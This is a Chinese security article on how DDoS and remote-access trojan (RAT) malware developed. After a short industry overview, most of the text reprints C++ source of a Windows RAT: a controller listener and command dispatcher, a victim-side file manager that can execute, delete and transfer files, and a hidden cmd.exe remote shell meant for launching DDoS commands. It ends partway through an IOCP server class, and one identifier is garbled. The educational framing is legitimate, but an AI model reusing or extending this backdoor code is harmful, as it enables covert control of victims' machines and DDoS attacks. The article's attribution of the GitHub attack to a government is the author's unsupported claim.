0×00、前言本文主要和大家聊聊DDoS攻击软件的发展史,同时,从黑产业务需求角度分析形成原因,从宏观上透视anti-DDoS安全行业的安全解决方案,最后回归本质,从源代码角度分析攻击软件实现流程和核心算法,同时从设计角度给出DDoS防御解决方案技术趋势。 这里再补充一下,目前很多有关恶意软件的分析都是通过反编译黑客的样本文件获取相关信息的,这种方式,其实理解起来很费力,敢问现在的信息安全爱好者有几个能看懂汇编的?都在往高级语言发展,所以,我想有必要通过高级编程语言编写的恶意软件来理解RAT&DDoS。 0×01、行业趋势回顾一下2015年真实的DDoS攻击案例,不难发现DDoS发展已经完全领先于解决方案的发展速度,就拿GitHub遭遇大流量DDoS攻击,通过JS劫持攻击(攻击源查询发现中国联通骨干网。所以认为是中国政府所为)在JavaScript脚本中嵌入了访问github.Com,那么每个访问百度的设备都会同时访问github。形成了DDoS攻击。 DDoS黑产也越来越专业化,成立网站兜售DDoS攻击服务,到百度上随便搜索DDoS攻击服务,就一大片搜索结果(黑产也做在百度上做排名了)。有的可能有专业的Team做开发,随时更新用户的DDoS需求。从植入广告收益、商业竞争敲诈勒索(游戏、电商行业等)。 DDoS安全防护手段各大互联网和传统安全厂商也趋之若鹜,互联网公司比较有代表性的有云盾、百度的安全宝。传统安全厂商绿盟黑洞、金盾等,还有一些国外的传统安全品牌redware。。。小流量其实买台设备就可以了。 最后,分析一下Prolexic最新的DDoS报告。2015年Q2、 
从报告可以看出SYN和SSDP比例在增大。 衡量DDoS攻击的指标有以下几个:攻击手段(Layer7or Layer 3&4)、攻击持续时间和平均攻击带宽。2015 年Q2最大的DDoS攻击已经超过240Gbps并且持续超过13个小时。 FreeBuf百科: SSDP SSDP是一种应用层协议,是构成通用即插即用(UPnP)技术的核心协议之一。同时提供了在局部网络里面发现设备的机制。控制点(也就是接受服务的客户端)可以通过使用简单服务发现协议,根据自己的需要查询在自己所在的局部网络里面提供特定服务的设备。设备(也就是提供服务的服务器端)也可以通过使用简单服务发现协议,向自己所在的局部网络里面的控制点声明它的存在。 大家就知道本服务是干什么的了,家里的小米盒子使用dlna协议和电脑通讯,前提是要打开SSDP协议。报告中还着重提醒了一下Wordpress和它危险的插件,这些都是DDoS来源。 0×02、恶意软件发展史根据多年的反病毒经验,我发现DDoS功能是RAT恶意软件发展过程当中附件的一个功能。 
第一级段:WindowsRAT&DDoS恶意软件源代码分析。编程语言为C++,编程工VC6.0。 首先通过,泳道图描述一下客户端和服务器端各自功能对接流程。 
相关功能模块描述: (1)系统资产模块 针对于客户端:报告客户端资产情况,主要是了解CPU、内存等情况,当然也可以外加带宽情况,了解DDoS客户端状态,为DDoS攻击做准备。 针对服务器端:统计在线肉鸡情况。 (2)文件管理 针对文件操作消息进行处理。文件下载、执行、上删除等操作。由于下载下载执行和文件上传需要单独开辟socket单独建立连接线程执行,所以用单独功能模块执行。 (3)屏幕监控 主要是远程控制对方电脑,windows远程桌面或者PCAnywhere类似的功能。这里有一个核心技术只传输变化的屏幕界面。 (4)进程管理 主要是为了处理杀毒软件等安全系统的实现的功能。 (5)远程cmdshell 远程执行命令。DDoS所有命令都在这个模块实现。 (6)视频捕捉 捕捉用户的视频,能看到你在干啥。。。。 多说无益,上代码说明: 管理端代码: (1)启动代码 应用程序进入GUI界面后,首先通过读取ini文件获取到需要监听的端口,比如说:你在家路由器上做NAT映射的一个端口,我的是极路由,可以在 
那么,本地服务器监听的IP和PORT为:192.168.199.101:8081,这样客户端就可以通过NAT映射找到服务器了。。。 void CGSGSoftRCServerDlg::StartListen(int Port)
{
m_ListenPort = Port;
hAcceptThread = ThreadTemplate::StartThread<CGSGSoftRCServerDlg, DWORD>(this, ThreadAccept);
hCheckThread = ThreadTemplate::StartThread<CGSGSoftRCServerDlg, DWORD>(this, ThreadCheck);
if (hAcceptThread == NULL || hCheckThread == NULL)
{
StopListen();
ListenError(2);
return;
}
}
(2)接收一个socket开辟一个线程处理: ThreadAccept()-> AcceptSocket() DWORD CGSGSoftRCServerDlg::ThreadAccept()
{
SOCKET ClientSocket = INVALID_SOCKET;
sockaddr_in LocalAddr = { 0 };
sockaddr_in ClientAddr = { 0 };
int addr_size = sizeof (sockaddr_in);
WSADATA lpWSAData;
WSAStartup(MAKEWORD(2, 2), &lpWSAData);
closesocket(m_ListenSock);
m_ListenSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
LocalAddr.sin_family = AF_INET;
LocalAddr.sin_port = htons(m_ListenPort);//监听的端口
LocalAddr.sin_addr.s_addr = htonl (INADDR_ANY);
if(bind(m_ListenSock, (LPSOCKADDR)&LocalAddr, addr_size) == SOCKET_ERROR)
{
closesocket(m_ListenSock);
ListenError(1);
return 0;
}
while (m_ListenSock != INVALID_SOCKET)
{
ClientSocket = accept(m_ListenSock, (LPSOCKADDR) &ClientAddr, &addr_size); // accept a socket
if (ClientSocket == INVALID_SOCKET)
{
StopListen();
ListenError(2);
return 0;
}
else
{
ThreadTemplate::StartThread<CGSGSoftRCServerDlg, DWORD>(this, AcceptSocket,ClientSocket);
}
}
return 0;
}
(3)解析上线指令 ( AcceptSocket() ) 命令定义: 
命令对应的调用的消息函数,参看源代码。 DWORD CGSGSoftRCServerDlg::AcceptSocket(SOCKET socket)
{
if(socket != INVALID_SOCKET)
{
TurnonKeepAlive(socket, 150);
MsgHead msgHead;
char chBuffer[256];
if(! RecvMsg(socket,chBuffer,&msgHead))
return 0;
switch(msgHead.dwCmd)
{
case SOCKET_CONNECT:
{
SysInfo m_SysInfo;
memcpy(&m_SysInfo, chBuffer, sizeof(SysInfo));
CLockSection m_LockSection(&g_Variable.m_cOnlineLock);
sockaddr_in addr;
int cb = sizeof(addr);
getpeername(socket, (sockaddr*)&addr, &cb);
CString OnlineIP,Address;
OnlineIP.Format("%s:%u",inet_ntoa(addr.sin_addr),(DWORD)ntohs(addr.sin_port));
Address = m_QQDat.IPtoAdd(OnlineIP);
int iCount =m_OnLineList.GetItemCount();
m_OnLineList.InsertItem(iCount,"",m_SysInfo.bVideo);
m_OnLineList.SetItemData(iCount,(DWORD)socket);
m_OnLineList.SetItemText(iCount,0,OnlineIP);
m_OnLineList.SetItemText(iCount,1,m_SysInfo.cComputer);
m_OnLineList.SetItemText(iCount,2,Address);
m_OnLineList.SetItemText(iCount,3,m_SysInfo.cOS);
m_OnLineList.SetItemText(iCount,4,m_SysInfo.cMemorySize);
m_OnLineList.SetItemText(iCount,5,m_SysInfo.cVersion);
m_OnLineList.SetItemText(iCount,6,"空闲");
StatusTextOut(2,"当前在线主机 [%d]",m_OnLineList.GetItemCount());
}
break;
case SOCKET_FILEMANAGE:
{
LPSocketInput pInput = new SocketInput;
pInput->sMainConnect = socket;
PostMessage(WM_FILEDLGSHOW, (DWORD)pInput, 0);
}
break;
case SOCKET_SCREEN:
{
SOCKET sConnect = msgHead.dwExtend1;
LPSocketInput pInput = new SocketInput;
pInput->sMainConnect = socket;
pInput->sHelpConnect = sConnect;
PostMessage(WM_SCREENDLGSHOW, (DWORD)pInput, 0);
}
break;
case SOCKET_PROCESS:
{
LPSocketInput pInput = new SocketInput;
pInput->sMainConnect = socket;
PostMessage(WM_PROCESSDLGSHOW, (DWORD)pInput, 0);
}
break;
case SOCKET_CMDSHELL:
{
LPSocketInput pInput = new SocketInput;
pInput->sMainConnect = socket;
PostMessage(WM_SHELLDLGSHOW, (DWORD)pInput, 0);
}
break;
case SOCKET_FILEDOWN:
{
if(!m_TranDlg.IsWindowVisible())
m_TranDlg.ShowWindow(SW_SHOW);
m_TranDlg.CenterWindow();
m_TranDlg.BringWindowToTop();
m_TranDlg.AddTranTask(socket, TRUE);
}
break;
case SOCKET_FILEUP:
{
if(!m_TranDlg.IsWindowVisible())
m_TranDlg.ShowWindow(SW_SHOW);
m_TranDlg.CenterWindow();
m_TranDlg.BringWindowToTop();
m_TranDlg.AddTranTask(socket, FALSE);
}
break;
case SOCKET_VIDEOCAP:
{
LPSocketInput pInput = new SocketInput;
pInput->sMainConnect = socket;
PostMessage(WM_VIDEODLGSHOW, (DWORD)pInput, 0);
}
break;
default:
{
shutdown(socket,0x02);
closesocket(socket);
}
break;
}
}
return 0;
}
(4)各个命令处理 配合客户端实现的代码(由于代码量太大,就拿文件管理模块举例说明) 
文件管理模块: 服务器端代码: void CGSGSoftRCServerDlg::OnOnlineFilemanage()
{
if(m_CurrSock != INVALID_SOCKET)
{
MsgHead msgHead;
msgHead.dwCmd = CMD_FILEMANAGE;
msgHead.dwSize = 0;
if(SendMsg(m_CurrSock,NULL,&msgHead))
{
StatusTextOut(0,"成功发送 [文件管理] 命令");
}
else
{
shutdown(m_CurrSock,0x02);
closesocket(m_CurrSock);
}
}
else
StatusTextOut(0,"请选择操作主机");
}
客户端代码,核心命令解析部分: DWORD _stdcall ConnectThread(LPVOID lParam)
{
。。。。。。
if( !SendMsg(MainSocket, (char *)&m_SysInfo, &msgHead) )
{
closesocket(MainSocket);
return 1;
}
while(1)
{
if(! RecvMsg(MainSocket, (char *)chBuffer, &msgHead))
{
shutdown(MainSocket,0x02);
closesocket(MainSocket);
break;
}
switch(msgHead.dwCmd)
{
case CMD_FILEMANAGE:
{
CreateThread(NULL,NULL,FileManageThread,NULL,NULL,NULL);
}
break;
。。。。
。。。。
default:
break;
}
}
return 10;
}
客户端代码,文件管理部分: ////////////////////////////////////////////////////////////////////////////////// //文件管理线程 DWORD _stdcall FileManageThread(LPVOID lParam)
{
struct sockaddr_in LocalAddr;
LocalAddr.sin_family=AF_INET;
LocalAddr.sin_port=htons(_ttoi(g_Variable.m_Port));
LocalAddr.sin_addr.S_un.S_addr=resolve((char *)(LPCSTR)g_Variable.m_IP);
SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0);
if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR)
{
closesocket(FileSocket);
return 0;
}
MsgHead msgHead;
char *chBuffer = new char[1536 * 1024];
msgHead.dwCmd = SOCKET_FILEMANAGE;
msgHead.dwSize = 0;
if(!SendMsg(FileSocket, chBuffer, &msgHead))
{
if(chBuffer != NULL)
delete []chBuffer;
closesocket(FileSocket);
return 0;
}
while(1)
{
if(!RecvMsg(FileSocket, chBuffer, &msgHead))
break;
switch(msgHead.dwCmd)
{
case CMD_FILEDRIVER:
{
FileListDirver(chBuffer, &msgHead);
}
break;
case CMD_FILEDIRECTORY:
{
FileListDirectory(chBuffer, &msgHead);
}
break;
case CMD_FILEDELETE:
{
FileDelete(chBuffer, &msgHead);
}
break;
case CMD_FILEEXEC:
{
FileExec(chBuffer, &msgHead);
}
break;
case CMD_FILEPASTE:
{
FilePaste(chBuffer, &msgHead);
}
break;
case CMD_FILERENAME:
{
FileReName(chBuffer, &msgHead);
}
break;
case CMD_FILEDOWNSTART:
{
FileOpt m_FileOpt;
memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));
if(CreateThread(NULL,NULL,FileDownThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
msgHead.dwCmd = CMD_SUCCEED;
else
msgHead.dwCmd = CMD_FAILED;
msgHead.dwSize = 0;
}
break;
case CMD_FILEUPSTART:
{
FileOpt m_FileOpt;
memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));
if(CreateThread(NULL,NULL,FileUpThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
msgHead.dwCmd = CMD_SUCCEED;
else
msgHead.dwCmd = CMD_FAILED;
msgHead.dwSize = 0;
}
break;
default:
{
msgHead.dwCmd = CMD_INVALID;
msgHead.dwSize = 0;
}
break;
}
if(!SendMsg(FileSocket, chBuffer, &msgHead))
break;
}
if(chBuffer != NULL)
delete[] chBuffer;
closesocket(FileSocket);
return 0;
}
通过上述代码可以了解传统RAT黑客工具怎么做文件管理的,(其实,就是服务器端和客户端处理好传递的消息命令)。那么第一代DDoS攻击攻击怎么集成到RAT工具中呢? 简单的DDoS功能是通过Cmdshell执行。代码如下。只要cmd窗口能执行的DDoS攻击命令,这个RAT工具都能执行。(什么死亡之ping等icmp洪水)。 客户端实现代码如下: void DOSShell(char *pBuf, LPMsgHead lpMsgHead)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
HANDLE hRead=NULL,hWrite=NULL;
TCHAR Cmdline[200]={0};
char ReadBuf[1024]={0};
SECURITY_ATTRIBUTES sa;
DWORD dwLen=0,bytesRead=0;
sa.nLength=sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor=NULL;
sa.bInheritHandle=TRUE;
if (!CreatePipe(&hRead,&hWrite,&sa,0))
{
lpMsgHead->dwCmd = CMD_SHELLERR;
lpMsgHead->dwSize = 0;
if(hRead!=NULL)
CloseHandle(hRead);
if(hWrite!=NULL)
CloseHandle(hWrite);
return;
}
si.cb=sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError=hWrite;
si.hStdOutput=hWrite;
si.wShowWindow=SW_HIDE;
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
GetSystemDirectory(Cmdline,sizeof (Cmdline));
strcat(Cmdline,"\\cmd.exe /c ");
strncat(Cmdline,pBuf,lpMsgHead->dwSize);
if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,π))
{
lpMsgHead->dwCmd = CMD_SHELLERR;
lpMsgHead->dwSize = 0;
if(hRead!=NULL)
CloseHandle(hRead);
if(hWrite!=NULL)
CloseHandle(hWrite);
return;
}
CloseHandle(hWrite);
while (TRUE)
{
memset(ReadBuf, 0, 1024);
if (ReadFile(hRead, ReadBuf, 1024, &bytesRead, NULL)==0)
break;
memcpy(pBuf+dwLen,ReadBuf,bytesRead);
dwLen += bytesRead;
Sleep(50);
}
lpMsgHead->dwCmd = 0;
lpMsgHead->dwSize = dwLen;
if (hRead!=NULL)
CloseHandle(hRead);
if (hWrite!=NULL)
CloseHandle(hWrite);
}
第一阶段实现代码比较粗糙,但是已经实现RAT和简单的DDoS相关功能。。。。 第二阶段:通过IOCP异步socket处理,管理端可以连接更多的客户端, 那么通过分析IOCP通讯类可以更好的了解,恶意软件服务器端设计手段。同时,可以通过分析DDoS软件核心代码,了解DDoS客户端发展趋势。 (1)IOCP 代码解析,主要是通过socket异步处理。
#define SVRPORT 80
#define BUFFER_SIZE 1024 * 4//1024 * 200
#define RECV_POSTED 0
#define SEND_POSTED 1
typedef struct _PER_HANDLE_DATA
{
unsigned long IpAddr;
SOCKET sClient;
}PER_HANDLE_DATA,*LPPER_HANDLE_DATA;
typedef struct _PER_IO_OPERATION_DATA
{
OVERLAPPED OverLapped;
WSABUF DataBuf;
char Buf[BUFFER_SIZE];
bool OperType;
}PER_IO_OPERATION_DATA,*PPER_IO_OPERATION_DATA;
typedef void __stdcall ProcessRecvData(unsigned long sIP,
SOCKET sClient,
char * pData,
unsigned long DataLength,
void *pContext);
DWORD WINAPI ServerWorkerProc(LPVOID lParam);
DWORD WINAPI ListenProc(LPVOID lParam);
class CIocpModeSvr
{
public:
CIocpModeSvr();
virtual ~CIocpModeSvr();
public:
void *m_pContext;
bool Init(ProcessRecvData* pProcessRecvData, void *pContext, unsigned long iSvrPort=SVRPORT);
void UnInit();
public:
bool SendMsg(SOCKET sClient,char * pData,unsigned long Length);
bool SendMsgToAll(char * pData,unsigned long Length);
bool DisConnectClient(SOCKET sClient);
void DisConnectAll();
void RemoveSocket(SOCKET sClient);
public:
const char * GetLocalIpAdd(){
if(IsStart)return HostIpAddr;
else return NULL;
}
unsigned short GetSvrPort(){
if(IsStart)return m_SvrPort;
else return 0;
}
protected:
int InitNetWork(unsigned int SvrPort=SVRPORT,
char *pHostIpAddress=NULL);
ProcessRecvData* m_pProcessRecvData;
private:
HANDLE CompletionPort;
char HostIpAddr[32];
|